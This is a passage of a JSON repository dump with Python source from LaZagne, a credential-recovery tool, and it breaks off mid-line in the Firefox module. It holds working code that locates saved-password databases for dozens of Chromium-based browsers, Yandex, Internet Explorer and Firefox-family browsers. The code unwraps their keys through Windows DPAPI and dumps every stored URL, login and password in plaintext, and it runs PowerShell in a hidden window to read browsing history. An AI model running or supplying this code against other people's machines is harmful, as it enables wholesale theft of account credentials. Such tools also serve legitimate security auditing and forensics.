    "content": "# -*- coding: utf-8 -*-\n\n# Thank you all for the Yandex browser support: \n# - https://github.com/AlessandroZ/LaZagne/issues/483\n# Here are great projects: \n# - https://github.com/Goodies365/YandexDecrypt\n# - https://github.com/LimerBoy/Soviet-Thief\n\nimport base64\nimport json\nimport os\nimport random\nimport shutil\nimport sqlite3\nimport string\nimport tempfile\nimport traceback\n\nfrom Crypto.Cipher import AES\nfrom Crypto.Hash import SHA1\nfrom Crypto.Util.Padding import unpad\n\nfrom lazagne.config.constant import constant\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.winstructure import Win32CryptUnprotectData\nfrom lazagne.softwares.windows.credman import Credman\n\n\nclass ChromiumBased(ModuleInfo):\n    def __init__(self, browser_name, paths):\n        self.paths = paths if isinstance(paths, list) else [paths]\n        self.database_query = 'SELECT origin_url, username_value, password_value FROM logins'\n        ModuleInfo.__init__(self, browser_name, 'browsers', winapi_used=True)\n\n    def _get_database_dirs(self):\n        \"\"\"\n        Return database directories for all profiles within all paths\n        \"\"\"\n        databases = set()\n        for path in [p.format(**constant.profile) for p in self.paths]:\n            profiles_path = os.path.join(path, u'Local State')\n            if os.path.exists(profiles_path):\n                master_key = None\n                # List all users profile (empty string means current dir, without a profile)\n                profiles = {'Default', ''}\n\n                # Automatic join all other additional profiles\n                for dirs in os.listdir(path):\n                    dirs_path = os.path.join(path, dirs)\n                    if os.path.isdir(dirs_path) and dirs.startswith('Profile'):\n                        profiles.add(dirs)\n\n                with open(profiles_path, \"r\", encoding=\"utf-8\") as f:\n                    try:\n                        data = json.load(f)\n                        # Add profiles from json to Default profile. set removes duplicates\n                        profiles |= set(data['profile']['info_cache'])\n                    except Exception:\n                        pass\n\n                with open(profiles_path, \"r\", encoding=\"utf-8\") as f:\n                    try:\n                        master_key = base64.b64decode(json.load(f)[\"os_crypt\"][\"encrypted_key\"])\n                        master_key = master_key[5:]  # removing DPAPI\n                        master_key = Win32CryptUnprotectData(master_key, is_current_user=constant.is_current_user,\n                                                user_dpapi=constant.user_dpapi)\n                    except Exception:\n                        master_key = None\n\n                # Each profile has its own password database\n                for profile in profiles:\n                    # Some browsers use names other than \"Login Data\"\n                    # Like YandexBrowser - \"Ya Login Data\", UC Browser - \"UC Login Data.18\"\n                    try:\n                        db_files = os.listdir(os.path.join(path, profile))\n                    except Exception:\n                        continue\n                    for db in db_files:\n                        if db.lower() in ['login data', 'ya passman data']:\n                            databases.add((os.path.join(path, profile, db), master_key))\n        return databases\n\n    def _decrypt_v80(self, buff, master_key):\n        try:\n            iv = buff[3:15]\n            payload = buff[15:]\n            cipher = AES.new(master_key, AES.MODE_GCM, iv)\n            decrypted_pass = cipher.decrypt(payload)\n            decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes\n            return decrypted_pass\n        except:\n            pass\n\n    def _yandex_extract_enc_key(self, db_cursor, decrypted_key):\n        db_cursor.execute('SELECT value FROM meta WHERE key = \\'local_encryptor_data\\'')\n        local_encryptor = db_cursor.fetchone()\n\n        # Check local encryptor values\n        if local_encryptor == None:\n            self.debug('[!] Failed to read local encryptor')\n            return None\n\n        # Locate encrypted key bytes\n        local_encryptor_data = local_encryptor[0]\n        index_enc_data = local_encryptor_data.find(b'v10')\n        if index_enc_data == -1:\n            self.debug('[!] Encrypted key blob not found')\n            return None\n\n        # Extract cipher data\n        encrypted_key_blob = local_encryptor_data[index_enc_data + 3 : index_enc_data + 3 + 96]\n        nonce = encrypted_key_blob[:12]\n        ciphertext = encrypted_key_blob[12:-16]\n        tag = encrypted_key_blob[-16:]\n\n        # Initialize the AES cipher\n        aes_decryptor = AES.new(decrypted_key, AES.MODE_GCM, nonce=nonce)\n\n        # Decrypt the key\n        decrypted_data = aes_decryptor.decrypt_and_verify(ciphertext, tag)\n\n        # Check signature\n        if int.from_bytes(decrypted_data[:4], 'little') != 0x20120108:\n            print('[!] Signature of decrypted local_encryptor_data incorrect')\n            return None\n\n        # Got the key :P\n        return decrypted_data[4:36]\n\n    def _yandex_decrypt(self, key : bytes, encrypted_data : bytes, nonce : bytes, tag : bytes, aad : bytes) -> str:\n        cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)\n        if aad:\n            cipher.update(aad)\n        decrypted_data = cipher.decrypt_and_verify(encrypted_data, tag)\n        return decrypted_data.decode('utf-8')\n\n    def _export_credentials(self, db_path, is_yandex=False, master_key=None, original_path=None):\n        \"\"\"\n        Export credentials from the given database\n\n        :param unicode db_path: database path\n        :return: list of credentials\n        :rtype: tuple\n        \"\"\"\n        credentials = []\n\n        if is_yandex:\n            localState = os.path.join(original_path.split('User Data')[0], 'User Data', 'Local State')\n            if not os.path.exists(localState):\n                return []\n\n            with open(localState, 'rb') as fjson:\n                encrypted_key = base64.b64decode(json.load(fjson)['os_crypt']['encrypted_key'])[5:]\n                decrypted_key = Win32CryptUnprotectData(encrypted_key, is_current_user=constant.is_current_user,\n                                                                        user_dpapi=constant.user_dpapi)\n\n            try:\n                conn = sqlite3.connect(db_path)\n                cursor = conn.cursor()\n            except Exception:\n                self.debug(traceback.format_exc())\n                return []\n\n            enc_key = self._yandex_extract_enc_key(cursor, decrypted_key)\n            if not enc_key:\n                self.info('[!] Failed to extract enc key')\n                return []\n            self.debug('Encrypted key found: %s' % enc_key)\n\n            # Execute queries\n            cursor.execute('SELECT origin_url, username_element, username_value, password_element, password_value, signon_realm FROM logins')\n            for url, username_element, username, password_element, password, signon_realm in cursor.fetchall():\n                if type(url) == bytes:\n                    url = url.decode()\n                # Get AAD\n                str_to_hash = f'{url}\\0{username_element}\\0{username}\\0{password_element}\\0{signon_realm}'\n                hash_obj = SHA1.new()\n                hash_obj.update(str_to_hash.encode('utf-8'))\n                # Decrypt password value\n                if len(password) > 0:\n                    try:\n                        decrypted = self._yandex_decrypt(\n                            key=enc_key,\n                            encrypted_data=password[12:-16],\n                            nonce=password[:12],\n                            tag=password[-16:],\n                            aad=hash_obj.digest()\n                        )\n                        credentials.append((url, username, decrypted))\n                    except Exception as e: \n                        print(e)\n\n        else:\n            try:\n                conn = sqlite3.connect(db_path)\n                cursor = conn.cursor()\n                cursor.execute(self.database_query)\n            except Exception:\n                self.debug(traceback.format_exc())\n                return credentials\n\n            for url, login, password in cursor.fetchall():\n                try:\n                    if type(url) == bytes:\n                        url = url.decode()\n\n                    # Decrypt the Password\n                    if password and password.startswith(b'v10'):  # chromium > v80\n                        if master_key:\n                            password = self._decrypt_v80(password, master_key)\n                    else:\n                        try:\n                            password_bytes = Win32CryptUnprotectData(password, is_current_user=constant.is_current_user,\n                                                                    user_dpapi=constant.user_dpapi)\n                        except AttributeError:\n                            try:\n                                password_bytes = Win32CryptUnprotectData(password, is_current_user=constant.is_current_user,\n                                                                     user_dpapi=constant.user_dpapi)\n                            except:\n                                password_bytes = None\n\n                        if password_bytes not in [None, False]:\n                            password = password_bytes.decode(\"utf-8\")\n\n                    if not url and not login and not password:\n                        continue\n\n                    credentials.append((url, login, password))\n                except Exception:\n                    self.debug(traceback.format_exc())\n\n            conn.close()\n        return credentials\n\n    def copy_db(self, database_path):\n        \"\"\"\n        Copying db will bypass lock errors\n        Using user tempfile will produce an error when impersonating users (Permission denied)\n        A public directory should be used if this error occured (e.g C:\\\\Users\\\\Public)\n        \"\"\"\n        random_name = ''.join([random.choice(string.ascii_lowercase) for i in range(9)])\n        root_dir = [\n            tempfile.gettempdir(),\n            os.environ.get('PUBLIC', None),\n            os.environ.get('SystemDrive', None) + '\\\\',\n        ]\n        for r in root_dir:\n            try:\n                temp = os.path.join(r, random_name)\n                shutil.copy(database_path, temp)\n                self.debug(u'Temporary db copied: {db_path}'.format(db_path=temp))\n                return temp\n            except Exception:\n                self.debug(traceback.format_exc())\n        return False\n\n    def clean_file(self, db_path):\n        try:\n            os.remove(db_path)\n        except Exception:\n            self.debug(traceback.format_exc())\n\n    def run(self):\n        credentials = []\n        for database_path, master_key in self._get_database_dirs():\n            is_yandex = False if 'yandex' not in database_path.lower() else True\n\n            # Remove Google Chrome false positif\n            if database_path.endswith('Login Data-journal'):\n                continue\n\n            self.debug('Database found: {db}'.format(db=database_path))\n\n            # Copy database before to query it (bypass lock errors)\n            cp_path = self.copy_db(database_path)\n            if cp_path:\n                try:\n                    credentials.extend(self._export_credentials(cp_path, is_yandex, master_key, database_path))\n                except Exception:\n                    self.debug(traceback.format_exc())\n                self.clean_file(cp_path)\n\n        return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(credentials)]\n"
  },
  {
    "path": "Windows/lazagne/softwares/browsers/chromium_browsers.py",
    "content": "from lazagne.config.soft_import_module import soft_import\r\n\r\n\r\nchromium_based_module_location = \"lazagne.softwares.browsers.chromium_based\", \"ChromiumBased\"\r\n\r\nChromiumBased = soft_import(*chromium_based_module_location)\r\n\r\n# Name, path or a list of paths\r\nchromium_browsers = [\r\n    (u'7Star', u'{LOCALAPPDATA}\\\\7Star\\\\7Star\\\\User Data'),\r\n    (u'amigo', u'{LOCALAPPDATA}\\\\Amigo\\\\User Data'),\r\n    (u'brave', u'{LOCALAPPDATA}\\\\BraveSoftware\\\\Brave-Browser\\\\User Data'),\r\n    (u'centbrowser', u'{LOCALAPPDATA}\\\\CentBrowser\\\\User Data'),\r\n    (u'chedot', u'{LOCALAPPDATA}\\\\Chedot\\\\User Data'),\r\n    (u'chrome beta', u'{LOCALAPPDATA}\\\\Google\\\\Chrome Beta\\\\User Data'),\r\n    (u'chrome canary', u'{LOCALAPPDATA}\\\\Google\\\\Chrome SxS\\\\User Data'),\r\n    (u'chromium', u'{LOCALAPPDATA}\\\\Chromium\\\\User Data'),\r\n    (u'chromium edge', u'{LOCALAPPDATA}\\\\Microsoft\\\\Edge\\\\User Data'),\r\n    (u'coccoc', u'{LOCALAPPDATA}\\\\CocCoc\\\\Browser\\\\User Data'),\r\n    (u'comodo dragon', u'{LOCALAPPDATA}\\\\Comodo\\\\Dragon\\\\User Data'),  # Comodo IceDragon is Firefox-based\r\n    (u'elements browser', u'{LOCALAPPDATA}\\\\Elements Browser\\\\User Data'),\r\n    (u'DCBrowser', u'{LOCALAPPDATA}\\\\DCBrowser\\\\User Data'),\r\n    (u'epic privacy browser', u'{LOCALAPPDATA}\\\\Epic Privacy Browser\\\\User Data'),\r\n    (u'google chrome', u'{LOCALAPPDATA}\\\\Google\\\\Chrome\\\\User Data'),\r\n    (u'kometa', u'{LOCALAPPDATA}\\\\Kometa\\\\User Data'),\r\n    (u'opera', u'{APPDATA}\\\\Opera Software\\\\Opera Stable'),\r\n    (u'opera gx', u'{APPDATA}\\\\Opera Software\\\\Opera GX Stable'),\r\n    (u'orbitum', u'{LOCALAPPDATA}\\\\Orbitum\\\\User Data'),\r\n    (u'qqbrowser', u'{LOCALAPPDATA}\\\\Tencent\\\\QQBrowser\\\\User Data'),\r\n    (u'sogouExplorer', u'{APPDATA}\\\\SogouExplorer\\\\Webkit\\\\User Data'),\r\n    (u'sputnik', u'{LOCALAPPDATA}\\\\Sputnik\\\\Sputnik\\\\User Data'),\r\n    (u'torch', u'{LOCALAPPDATA}\\\\Torch\\\\User Data'),\r\n    (u'uran', u'{LOCALAPPDATA}\\\\uCozMedia\\\\Uran\\\\User Data'),\r\n    (u'vivaldi', u'{LOCALAPPDATA}\\\\Vivaldi\\\\User Data'),\r\n    (u'yandexBrowser', u'{LOCALAPPDATA}\\\\Yandex\\\\YandexBrowser\\\\User Data')\r\n]\r\n\r\nchromium_browsers = [ChromiumBased(browser_name=name, paths=paths) for name, paths in chromium_browsers]\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/browsers/firefox_browsers.py",
    "content": "from lazagne.config.soft_import_module import soft_import\r\n\r\n\r\nmozilla_module_location = \"lazagne.softwares.browsers.mozilla\", \"Mozilla\"\r\n\r\nMozilla = soft_import(*mozilla_module_location)\r\n\r\n# Name, path\r\nfirefox_browsers = [\r\n    (u'firefox', u'{APPDATA}\\\\Mozilla\\\\Firefox'),\r\n    (u'blackHawk', u'{APPDATA}\\\\NETGATE Technologies\\\\BlackHawk'),\r\n    (u'cyberfox', u'{APPDATA}\\\\8pecxstudios\\\\Cyberfox'),\r\n    (u'comodo IceDragon', u'{APPDATA}\\\\Comodo\\\\IceDragon'),\r\n    (u'k-Meleon', u'{APPDATA}\\\\K-Meleon'),\r\n    (u'icecat', u'{APPDATA}\\\\Mozilla\\\\icecat'),\r\n    (u'pale Moon', u'{APPDATA}\\\\Moonchild Productions\\\\Pale Moon'),\r\n    (u'basilisk', u'{APPDATA}\\\\Basilisk-Dev\\\\Basilisk'),\r\n]\r\n\r\nfirefox_browsers = [Mozilla(browser_name=name, path=path) for name, path in firefox_browsers]\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/browsers/ie.py",
    "content": "import hashlib\nimport subprocess\nimport traceback\n\nimport lazagne.config.winstructure as win\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.constant import constant\n\ntry: \n    import _subprocess as sub\n    STARTF_USESHOWWINDOW = sub.STARTF_USESHOWWINDOW  # Not work on Python 3\n    SW_HIDE = sub.SW_HIDE\nexcept ImportError:\n    STARTF_USESHOWWINDOW = subprocess.STARTF_USESHOWWINDOW\n    SW_HIDE = subprocess.SW_HIDE\n\ntry: \n    import _winreg as winreg\nexcept ImportError:\n    import winreg\n\n\nclass IE(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'ie', 'browsers', registry_used=True, winapi_used=True)\n\n    def get_hash_table(self):\n        # get the url list\n        urls = self.get_history()\n\n        # calculate the hash for all urls found on the history\n        hash_tables = []\n        for u in range(len(urls)):\n            try:\n                h = (urls[u] + '\\0').encode('UTF-16LE')\n                hash_tables.append([h, hashlib.sha1(h).hexdigest().lower()])\n            except Exception:\n                self.debug(traceback.format_exc())\n        return hash_tables\n\n    def get_history(self):\n        urls = self.history_from_regedit()\n        try:\n            urls = urls + self.history_from_powershell()\n        except Exception:\n            self.debug(traceback.format_exc())\n\n        urls = urls + ['https://www.facebook.com/', 'https://www.gmail.com/', 'https://accounts.google.com/',\n                       'https://accounts.google.com/servicelogin']\n        return urls\n\n    def history_from_powershell(self):\n        # From https://richardspowershellblog.wordpress.com/2011/06/29/ie-history-to-csv/\n        cmdline = '''\n        function get-iehistory {\n        [CmdletBinding()]\n        param ()\n        \n        $shell = New-Object -ComObject Shell.Application\n        $hist = $shell.NameSpace(34)\n        $folder = $hist.Self\n        \n        $hist.Items() | \n        foreach {\n            if ($_.IsFolder) {\n            $siteFolder = $_.GetFolder\n            $siteFolder.Items() | \n            foreach {\n                $site = $_\n            \n                if ($site.IsFolder) {\n                $pageFolder  = $site.GetFolder\n                $pageFolder.Items() | \n                foreach {\n                    $visit = New-Object -TypeName PSObject -Property @{        \n                        URL = $($pageFolder.GetDetailsOf($_,0))           \n                    }\n                    $visit\n                }\n                }\n            }\n            }\n        }\n        }\n        get-iehistory\n        '''\n        command = ['powershell.exe', '/c', cmdline]\n        info = subprocess.STARTUPINFO()\n        info.dwFlags = STARTF_USESHOWWINDOW\n        info.wShowWindow = SW_HIDE\n        p = subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE,\n                             stdin=subprocess.PIPE, universal_newlines=True)\n        results, _ = p.communicate()\n\n        urls = []\n        for r in results.split('\\n'):\n            if r.startswith('http'):\n                urls.append(r.strip())\n        return urls\n\n    def history_from_regedit(self):\n        urls = []\n        try:\n            hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs')\n        except Exception:\n            self.debug(traceback.format_exc())\n            return []\n\n        num = winreg.QueryInfoKey(hkey)[1]\n        for x in range(0, num):\n            k = winreg.EnumValue(hkey, x)\n            if k:\n                urls.append(k[1])\n        winreg.CloseKey(hkey)\n        return urls\n\n    def decipher_password(self, cipher_text, u):\n        pwd_found = []\n        # deciper the password\n        pwd = win.Win32CryptUnprotectData(cipher_text, u, is_current_user=constant.is_current_user,\n                                          user_dpapi=constant.user_dpapi)\n        if not pwd:\n            return []\n\n        separator = b\"\\x00\\x00\"\n        if pwd.endswith(separator):\n            pwd = pwd[: -len(separator)]\n\n        chunks_reversed = pwd.rsplit(separator)[::-1]  # <pwd_n>, <login_n>, ..., <pwd_0>, <login_0>, <SOME_SERVICE_DATA_CHUNKS>\n\n        #  Filter out service data\n        possible_passwords = [x for n, x in enumerate(chunks_reversed) if n % 2 == 0]\n        possible_logins = [x for n, x in enumerate(chunks_reversed) if n % 2 == 1]\n        for possible_login, possible_password in zip(possible_logins, possible_passwords):\n            #  Service data starts with several blocks of \"<2_bytes>\\x00\\x00<10_bytes>\"\n            if len(pwd_found) > 0 and len(possible_login) == 2 and len(possible_password) == 10:\n                break\n\n            try:\n                possible_login_str = possible_login.decode('UTF-16LE')\n                possible_password_str = possible_password.decode('UTF-16LE')\n            except UnicodeDecodeError:\n                if len(pwd_found) > 0:\n                    #  Some passwords have been found. Assume this is service data.\n                    break\n\n                #  No passwords have been found. Assume login or password contains some chars which could not be decoded\n                possible_login_str = str(possible_password)\n                possible_password_str = str(possible_password)\n\n            pwd_found.append({\n                'URL': u.decode('UTF-16LE'),\n                'Login': possible_login_str,\n                'Password': possible_password_str\n            })\n\n        return pwd_found\n\n    def run(self):\n        if float(win.get_os_version()) > 6.1:\n            self.debug(u'Internet Explorer passwords are stored in Vault (check vault module)')\n            return\n\n        pwd_found = []\n        try:\n            hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\\\Microsoft\\\\Internet Explorer\\\\IntelliForms\\\\Storage2')\n        except Exception:\n            self.debug(traceback.format_exc())\n        else:\n            nb_site = 0\n            nb_pass_found = 0\n\n            # retrieve the urls from the history\n            hash_tables = self.get_hash_table()\n\n            num = winreg.QueryInfoKey(hkey)[1]\n            for x in range(0, num):\n                k = winreg.EnumValue(hkey, x)\n                if k:\n                    nb_site += 1\n                    for h in hash_tables:\n                        # both hash are similar, we can decipher the password\n                        if h[1] == k[0][:40].lower():\n                            nb_pass_found += 1\n                            cipher_text = k[1]\n                            pwd_found += self.decipher_password(cipher_text, h[0])\n                            break\n\n            winreg.CloseKey(hkey)\n\n            # manage errors\n            if nb_site > nb_pass_found:\n                self.error(u'%s hashes have not been decrypted, the associate website used to decrypt the '\n                           u'passwords has not been found' % str(nb_site - nb_pass_found))\n\n        return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/browsers/mozilla.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# portable decryption functions and BSD DB parsing by Laurent Clevy (@lorenzo2472)\n# from https://github.com/lclevy/firepwd/blob/master/firepwd.py\n\nimport hmac\nimport json\nimport sqlite3\nimport struct\nimport sys\nimport traceback\nimport os\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.crypto.pyDes import triple_des, CBC\nfrom lazagne.config.crypto.pyaes import AESModeOfOperationCBC\nfrom lazagne.config.dico import get_dic\nfrom lazagne.config.constant import constant\nfrom pyasn1.codec.der import decoder\nfrom binascii import unhexlify\nfrom base64 import b64decode\nfrom lazagne.config.winstructure import char_to_int, convert_to_byte\nfrom hashlib import sha1, pbkdf2_hmac\n\ntry:\n    from ConfigParser import RawConfigParser  # Python 2.7\nexcept ImportError:\n    from configparser import RawConfigParser  # Python 3\n\nif sys.version_info[0]:\n    python_version = sys.version_info[0]\n\ndef l(n):\n    try:\n        return long(n)\n    except NameError:\n        return int(n)\n\n\nCKA_ID = unhexlify('f8000000000000000000000000000001')\nAES_BLOCK_SIZE = 16\n\n\ndef long_to_bytes(n, blocksize=0):\n    \"\"\"long_to_bytes(n:long, blocksize:int) : string\n    Convert a long integer to a byte string.\n    If optional blocksize is given and greater than zero, pad the front of the\n    byte string with binary zeros so that the length is a multiple of\n    blocksize.\n    \"\"\"\n    # after much testing, this algorithm was deemed to be the fastest\n    s = convert_to_byte('')\n    n = l(n)\n    while n > 0:\n        s = struct.pack('>I', n & 0xffffffff) + s\n        n = n >> 32\n\n    # strip off leading zeros\n    for i in range(len(s)):\n        if s[i] != convert_to_byte('\\000')[0]:\n            break\n    else:\n        # only happens when n == 0\n        s = convert_to_byte('\\000')\n        i = 0\n    s = s[i:]\n    # add back some pad bytes.  this could be done more efficiently w.r.t. the\n    # de-padding being done above, but sigh...\n    if blocksize > 0 and len(s) % blocksize:\n        s = (blocksize - len(s) % blocksize) * convert_to_byte('\\000') + s\n\n    return s\n\n\nclass Mozilla(ModuleInfo):\n\n    def __init__(self, browser_name, path, category='browsers'):\n        self.path = path\n        ModuleInfo.__init__(self, browser_name, category=category)\n\n    def get_firefox_profiles(self, directory):\n        \"\"\"\n        List all profiles\n        \"\"\"\n        cp = RawConfigParser()\n        profile_list = []\n\n        try:\n            cp.read(os.path.join(directory, 'profiles.ini'))\n            for section in cp.sections():\n                if section.startswith('Profile') and cp.has_option(section, 'Path'):\n                    profile_path = None\n\n                    if cp.has_option(section, 'IsRelative'):\n                        if cp.get(section, 'IsRelative') == '1':\n                            profile_path = os.path.join(directory, cp.get(section, 'Path').strip())\n                        elif cp.get(section, 'IsRelative') == '0':\n                            profile_path = cp.get(section, 'Path').strip()\n\n                    else: # No \"IsRelative\" in profiles.ini\n                        profile_path = os.path.join(directory, cp.get(section, 'Path').strip())\n\n                    if profile_path:\n                        profile_path = profile_path.replace('/', '\\\\')\n                        profile_list.append(profile_path)\n\n        except Exception as e:\n            self.error(u'An error occurred while reading profiles.ini: {}'.format(e))\n        return profile_list\n\n    def get_key(self, profile):\n        \"\"\"\n        Get main key used to encrypt all data (user / password).\n        Depending on the Firefox version, could be stored in key3.db or key4.db file.\n        \"\"\"\n        try:\n            row = None\n            # Remove error when file is empty\n            with open(os.path.join(profile, 'key4.db'), 'rb') as f:\n                content = f.read()\n\n            if content:\n                conn = sqlite3.connect(os.path.join(profile, 'key4.db'))  # Firefox 58.0.2 / NSS 3.35 with key4.db in SQLite\n                c = conn.cursor()\n                # First check password\n                c.execute(\"SELECT item1,item2 FROM metadata WHERE id = 'password';\")\n                try:\n                    row = c.next()  # Python 2\n                except Exception:\n                    row = next(c)  # Python 3\n\n        except Exception:\n            self.debug(traceback.format_exc())\n\n        else:\n            if row:\n                (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=b'', key_data=row)\n\n                if global_salt:\n                    try:\n                        # Decrypt 3DES key to decrypt \"logins.json\" content\n                        c.execute(\"SELECT a11,a102 FROM nssPrivate;\")\n                        for row in c:\n                            if row[0]:\n                                break\n\n                        a11 = row[0]  # CKA_VALUE\n                        a102 = row[1]  # f8000000000000000000000000000001, CKA_ID\n\n                        if python_version == 2:\n                            a102 = str(a102)\n\n                        if a102 == CKA_ID:\n                            # a11  : CKA_VALUE\n                            # a102 : f8000000000000000000000000000001, CKA_ID\n                            # self.print_asn1(a11, len(a11), 0)\n                            # SEQUENCE {\n                            #     SEQUENCE {\n                            #         OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3\n                            #         SEQUENCE {\n                            #             OCTETSTRING entry_salt_for_3des_key\n                            #             INTEGER 01\n                            #         }\n                            #     }\n                            #     OCTETSTRING encrypted_3des_key (with 8 bytes of PKCS#7 padding)\n                            # }\n                            decoded_a11 = decoder.decode(a11)\n                            key = self.decrypt_3des(decoded_a11, master_password, global_salt)\n                            if key:\n                                self.debug(u'key: {key}'.format(key=repr(key)))\n                                yield key[:24]\n                        # else:\n                            # Nothing saved\n\n                    except Exception:\n                        self.debug(traceback.format_exc())\n\n        try:\n            key3_file = os.path.join(profile, 'key3.db')\n            if os.path.exists(key3_file):\n                key_data = self.read_bsddb(key3_file)\n                # Check masterpassword\n                (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=u'',\n                                                                                        key_data=key_data,\n                                                                                        new_version=False)\n                if global_salt:\n                    key = self.extract_secret_key(key_data=key_data,\n                                                  global_salt=global_salt,\n                                                  master_password=master_password,\n                                                  entry_salt=entry_salt)\n                    if key:\n                        self.debug(u'key: {key}'.format(key=repr(key)))\n                        yield key[:24]\n        except Exception:\n            self.debug(traceback.format_exc())\n\n    @staticmethod\n    def get_short_le(d, a):\n        return struct.unpack('<H', d[a:a + 2])[0]\n\n    @staticmethod\n    def get_long_be(d, a):\n        return struct.unpack('>L', d[a:a + 4])[0]\n\n    def print_asn1(self, d, l, rl):\n        \"\"\"\n        Used for debug\n        \"\"\"\n        type_ = char_to_int(d[0])\n        length = char_to_int(d[1])\n        if length & 0x80 > 0:  # http://luca.ntop.org/Teaching/Appunti/asn1.html,\n            # nByteLength = length & 0x7f\n            length = char_to_int(d[2])\n            # Long form. Two to 127 octets. Bit 8 of first octet has value \"1\" and\n            # bits 7-1 give the number of additional length octets.\n            skip = 1\n        else:\n            skip = 0\n\n        if type_ == 0x30:\n            seq_len = length\n            read_len = 0\n            while seq_len > 0:\n                len2 = self.print_asn1(d[2 + skip + read_len:], seq_len, rl + 1)\n                seq_len = seq_len - len2\n                read_len = read_len + len2\n            return length + 2\n        elif type_ in (0x6, 0x5, 0x4, 0x2):  # OID, OCTETSTRING, NULL, INTEGER\n            return length + 2\n        elif length == l - 2:\n            self.print_asn1(d[2:], length, rl + 1)\n            return length\n\n    def read_bsddb(self, name):\n        \"\"\"\n        Extract records from a BSD DB 1.85, hash mode\n        Obsolete with Firefox 58.0.2 and NSS 3.35, as key4.db (SQLite) is used\n        \"\"\"\n        with open(name, 'rb') as f:\n            # http://download.oracle.com/berkeley-db/db.1.85.tar.gz\n            header = f.read(4 * 15)\n            magic = self.get_long_be(header, 0)\n            if magic != 0x61561:\n                self.warning(u'Bad magic number')\n                return False\n\n            version = self.get_long_be(header, 4)\n            if version != 2:\n                self.warning(u'Bad version !=2 (1.85)')\n                return False\n\n            pagesize = self.get_long_be(header, 12)\n            nkeys = self.get_long_be(header, 0x38)\n            readkeys = 0\n            page = 1\n            db1 = []\n\n            while readkeys < nkeys:\n                f.seek(pagesize * page)\n                offsets = f.read((nkeys + 1) * 4 + 2)\n                offset_vals = []\n                i = 0\n                nval = 0\n                val = 1\n                keys = 0\n\n                while nval != val:\n                    keys += 1\n                    key = self.get_short_le(offsets, 2 + i)\n                    val = self.get_short_le(offsets, 4 + i)\n                    nval = self.get_short_le(offsets, 8 + i)\n                    offset_vals.append(key + pagesize * page)\n                    offset_vals.append(val + pagesize * page)\n                    readkeys += 1\n                    i += 4\n\n                offset_vals.append(pagesize * (page + 1))\n                val_key = sorted(offset_vals)\n                for i in range(keys * 2):\n                    f.seek(val_key[i])\n                    data = f.read(val_key[i + 1] - val_key[i])\n                    db1.append(data)\n                page += 1\n\n        db = {}\n        for i in range(0, len(db1), 2):\n            db[db1[i + 1]] = db1[i]\n\n        return db\n\n    @staticmethod\n    def decrypt_3des(decoded_item, master_password, global_salt):\n        \"\"\"\n        User master key is also encrypted (if provided, the master_password could be used to encrypt it)\n        \"\"\"\n        # See http://www.drh-consultancy.demon.co.uk/key3.html\n        pbeAlgo = str(decoded_item[0][0][0])\n        if pbeAlgo == '1.2.840.113549.1.12.5.1.3': # pbeWithSha1AndTripleDES-CBC\n            entry_salt = decoded_item[0][0][1][0].asOctets()\n            cipher_t = decoded_item[0][1].asOctets()\n\n            # See http://www.drh-consultancy.demon.co.uk/key3.html\n            hp = sha1(global_salt + master_password).digest()\n            pes = entry_salt + convert_to_byte('\\x00') * (20 - len(entry_salt))\n            chp = sha1(hp + entry_salt).digest()\n            k1 = hmac.new(chp, pes + entry_salt, sha1).digest()\n            tk = hmac.new(chp, pes, sha1).digest()\n            k2 = hmac.new(chp, tk + entry_salt, sha1).digest()\n            k = k1 + k2\n            iv = k[-8:]\n            key = k[:24]\n            return triple_des(key, CBC, iv).decrypt(cipher_t)\n        \n        # New version\n        elif pbeAlgo == '1.2.840.113549.1.5.13': # pkcs5 pbes2\n\n            assert str(decoded_item[0][0][1][0][0]) == '1.2.840.113549.1.5.12'\n            assert str(decoded_item[0][0][1][0][1][3][0]) == '1.2.840.113549.2.9'\n            assert str(decoded_item[0][0][1][1][0]) == '2.16.840.1.101.3.4.1.42'\n            # https://tools.ietf.org/html/rfc8018#page-23\n            entry_salt = decoded_item[0][0][1][0][1][0].asOctets()\n            iteration_count = int(decoded_item[0][0][1][0][1][1])\n            key_length = int(decoded_item[0][0][1][0][1][2])\n            assert key_length == 32 \n\n            k = sha1(global_salt + master_password).digest()\n            key = pbkdf2_hmac('sha256', k, entry_salt, iteration_count, dklen=key_length)    \n\n            # https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49\n            iv = b'\\x04\\x0e' + decoded_item[0][0][1][1][1].asOctets()\n            # 04 is OCTETSTRING, 0x0e is length == 14\n            encrypted_value = decoded_item[0][1].asOctets()\n            aes = AESModeOfOperationCBC(key, iv=iv)\n            cleartxt = b\"\".join([aes.decrypt(encrypted_value[i:i + AES_BLOCK_SIZE])\n                             for i in range(0, len(encrypted_value), AES_BLOCK_SIZE)])\n\n            return cleartxt\n\n    def extract_secret_key(self, key_data, global_salt, master_password, entry_salt):\n\n        if unhexlify('f8000000000000000000000000000001') not in key_data:\n            return None\n\n        priv_key_entry = key_data[unhexlify('f8000000000000000000000000000001')]\n        salt_len = char_to_int(priv_key_entry[1])\n        name_len = char_to_int(priv_key_entry[2])\n        priv_key_entry_asn1 = decoder.decode(priv_key_entry[3 + salt_len + name_len:])\n        # data = priv_key_entry[3 + salt_len + name_len:]\n        # self.print_asn1(data, len(data), 0)\n\n        # See https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt\n        priv_key = self.decrypt_3des(priv_key_entry_asn1, master_password, global_salt)\n        # self.print_asn1(priv_key, len(priv_key), 0)\n        priv_key_asn1 = 